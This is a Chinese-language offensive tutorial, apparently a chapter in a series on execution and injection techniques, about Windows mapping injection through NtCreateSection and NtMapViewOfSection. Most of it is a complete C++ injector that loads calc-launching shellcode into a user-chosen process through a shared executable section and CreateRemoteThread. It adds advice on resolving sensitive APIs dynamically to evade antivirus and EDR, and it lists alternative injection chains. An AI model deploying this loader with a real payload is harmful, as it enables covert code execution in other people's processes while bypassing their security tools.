9-MapViewOfFile+NtMapViewOfSection

一、前言

CreateFileMappingMapViewOfFile 实际上是对内核API的高级封装,我们可以直接使用NT内核 NtCreateSectionNtMapViewOfSection 来完成相同的功能。这两个API都封装在ntdll.dll中。

在微软官方的解释中,创建的文件映射对象也称为 ,我们将要用此内核函数创建恶意本地进程与远程目标进程共享的物理内存块也就是

因为本小节涉及到 动态获取api函数 的内容,所有我们来看一下这两个API的函数原型吧

NtCreateSection:官方文档:NtCreateSection 函数 (ntifs.h) - Windows drivers | Microsoft Learn

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);

NtMapViewOfSection:官方文档: ZwMapViewOfSection 函数 (wdm.h) - Windows drivers | Microsoft Learn

NTSYSAPI NTSTATUS ZwMapViewOfSection(
  [in]                HANDLE          SectionHandle,
  [in]                HANDLE          ProcessHandle,
  [in, out]           PVOID           *BaseAddress,
  [in]                ULONG_PTR       ZeroBits,
  [in]                SIZE_T          CommitSize,
  [in, out, optional] PLARGE_INTEGER  SectionOffset,
  [in, out]           PSIZE_T         ViewSize,
  [in]                SECTION_INHERIT InheritDisposition,
  [in]                ULONG           AllocationType,
  [in]                ULONG           Win32Protect
);

MapViewOfFile + NtMapViewOfSection 完成映射注入的原理与我在 映射注入(Mapping Injection) 这一小节介绍的原理大差不差。就是通过 NtCreateSection 创建一个进程之间共享的节,然后使用 NtMapViewOfSection 将进程的虚拟地址空间中的某一个内存区域与节建立映射关系。这样进程对内存映射区域的操作其实就是对共享节的操作。

二、流程

  1. 创建一个具有 RWX 权限的共享内存节(section

  2. 在本地进程中创建内存节区(section)的本地视图(native view)

  3. 将shellcode复制到本地视图(native view),这也同步影响到共享内存节区

  4. 打开远程进程,获得其句柄

  5. 在远程进程中创建内存节区(section)的视图(remote view)

  6. 在目标进程创建远程线程,执行shellcode

三、代码实现

#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <iostream>
typedef  LONG NTSTATUS;

// API函数声明,这常见于动态获取API的常见中
typedef NTSTATUS(NTAPI* pNtCreateSection)(
	PHANDLE            SectionHandle,
	ACCESS_MASK        DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PLARGE_INTEGER     MaximumSize,
	ULONG              SectionPageProtection,
	ULONG              AllocationAttributes,
	HANDLE             FileHandle
	);

typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
	HANDLE          SectionHandle,
	HANDLE          ProcessHandle,
	PVOID*          BaseAddress,
	ULONG_PTR       ZeroBits,
	SIZE_T          CommitSize,
	PLARGE_INTEGER  SectionOffset,
	PSIZE_T         ViewSize,
	DWORD InheritDisposition,
	ULONG           AllocationType,
	ULONG           Win32Protect
	);


int main() {

	// calc shellcode
	unsigned char shellcode[] = {
			0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 定义一些变量
	SIZE_T size = 4096;
	HANDLE hSection = NULL;
	HANDLE hProcess = NULL;
	size_t dwShellcodeLength = 0;
	LARGE_INTEGER sectionSize = { size };
	PVOID localSectionAddress = NULL;
	PVOID remoteSectionAddress = NULL;

	// 动态获取API
	pNtCreateSection myNtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
	pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");

	// 用户输入PID,正常来说应该使用argv来获取PID参数,这里只是方便我们调式而已。
	DWORD PID = 0;
	std::cout << "请输入目标进程的PID:";
	std::cin >> PID;

	// 创建一个内存节区(section)
	NTSTATUS status = myNtCreateSection(&hSection, SECTION_ALL_ACCESS , NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	if (!NT_SUCCESS(status))
	{
		printf("NtCreateSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
		return (FALSE);
	}

	// 在本地进程中创建内存节区(section)的本地视图(native view)
	NTSTATUS status1 = myNtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
	if (!NT_SUCCESS(status1))
	{
		printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
		return (FALSE);
	}

	// 将shellcode复制到本地视图(native view),这也同步影响到共享内存节区中
	dwShellcodeLength = sizeof(shellcode);
	memcpy(localSectionAddress, shellcode, dwShellcodeLength);

	// 打开远程进程
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

	// 在远程进程中创建内存节区(section)的视图(remote view)
	NTSTATUS status2 = myNtMapViewOfSection(hSection, hProcess, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
	if (!NT_SUCCESS(status2))
	{
		printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
		return (FALSE);
	}

	// 在目标进程创建远程线程,执行shellcode。
	// CreateRemoteThread可以用CreateUserThread代替,其实所有敏感的API都可以动态获取从而规避AV/EDR
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteSectionAddress, NULL, 0, NULL);

	return 0;
}

其实映射注入的执行链有很多条,常见的有以下几条

  1. CreateFileMappingMapViewOfFileMapViewOfFile2

  2. NtCreateSectionNtMapViewOfSection

  3. CreateFileMappingMapViewOfFileNtMapViewOfSection(Cobalt Strike 的进程注入选项中就有这条链)

  4. NtCreateSectionMapViewOfFile ->NtMapViewOfSection

第二章-执行与注入技术 中我只介绍第一条和第二条执行链,其余两条执行链,感兴趣的读者可以自己去实现,原理大差不差。

Last updated